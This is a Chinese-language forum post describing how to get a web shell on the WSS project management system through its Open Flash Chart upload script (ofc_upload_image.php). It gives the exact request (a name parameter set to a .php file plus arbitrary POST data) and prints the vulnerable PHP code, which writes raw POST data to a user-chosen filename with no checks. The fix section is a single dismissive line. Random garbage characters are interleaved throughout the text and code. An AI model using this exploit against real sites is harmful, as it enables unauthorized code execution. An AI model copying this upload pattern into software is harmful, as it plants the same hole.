WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
& F: @8 A3 r. Q 漏洞文件/chart/php-ofc-library/ofc_upload_image.php
# k  @* _+ x. [! f( W: d6 N
利用：
) J- m7 H, l+ t" W. y) N# W1 ^/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
, T0 B% O& @8 f& d" r& X
Post任意数据
/ E8 Y4 `# w8 `: v保存位置http://localhost/chart/tmp-upload-images/hfy.php
/ a$ z! D' t% z; l4 M; g. O

最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~

<?php

//
9 [) n% s8 j+ N1 c- E// In Open Flash Chart -> save_image debug mode, you
// will see the 'echo' text in a new window.
//

5 ]6 E0 [* H* {/*
1 C/ S0 u  A; H
/ O$ [5 G+ _; t3 iprint_r( $_GET );
print_r( $_POST );
, _( o: z6 [2 L' @print_r( $_FILES );

print_r( $GLOBALS );
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
8 e6 i0 F& K% V
" i5 w# |" G2 o" u*/
// default path for the image to be stored //
# I2 e  s, J7 ]$default_path = '../tmp-upload-images/';

if (!file_exists($default_path)) mkdir($default_path, 0777, true);
  |8 }+ s5 v  Y8 n+ B
// full path to the saved image including filename //
$destination = $default_path . basename( $_GET[ 'name' ] );
( Q" h1 _2 X' r0 a1 k  W
4 {. X9 Z+ j6 S0 H& @9 h! gecho 'Saving your image to: '. $destination;
0 D! @% q" E& \5 [$ y// print_r( $_POST );
// print_r( $_SERVER );
// echo $HTTP_RAW_POST_DATA;

//
// POST data is usually string data, but we are passing a RAW .png
6 U9 X# k0 u' R6 Z* n// so PHP is a bit confused and $_POST is empty. But it has saved
// the raw bits into $HTTP_RAW_POST_DATA
: L* P) q# k. A' m6 l$ E//
7 n/ i8 [2 x3 H
$jfh = fopen($destination, 'w') or die("can't open file");
4 A* e; l$ }% z3 h& h( q: ?3 vfwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);

//
// LOOK:
//
exit();
' P6 o: f" D; u' m) M% @. C//
// PHP5:
; ]; u- Y' X+ D# c# M. d+ X//
1 _) P9 a3 w; A
. j. ?$ m, ~  D
// default path for the image to be stored //
$default_path = 'tmp-upload-images/';
+ g% ?' d9 G5 F
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
5 N  G& A' N# O2 S( e' Z1 @; R
// full path to the saved image including filename //
# w; i! [: [, A! ^8 m2 [$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );

// move the image into the specified directory //
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
0 v  m+ z/ {% B/ x. n) T} else {
    echo "FILE UPLOAD FAILED";
}

4 u9 b# W2 ]; ~% |" M4 f
3 h; C# M, O# [  t2 S! c?>

4 w, G0 ~: Z* o9 @# T  S; [+ z1 G

$ Y0 T# Q! w9 ~* ]! q+ G
1 l; Y8 n- E  }; a* O
- W; O5 {6 @( w1 _
修复方案：
这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞


$ \8 k! X! w/ b6 n' e  d8 Z3 {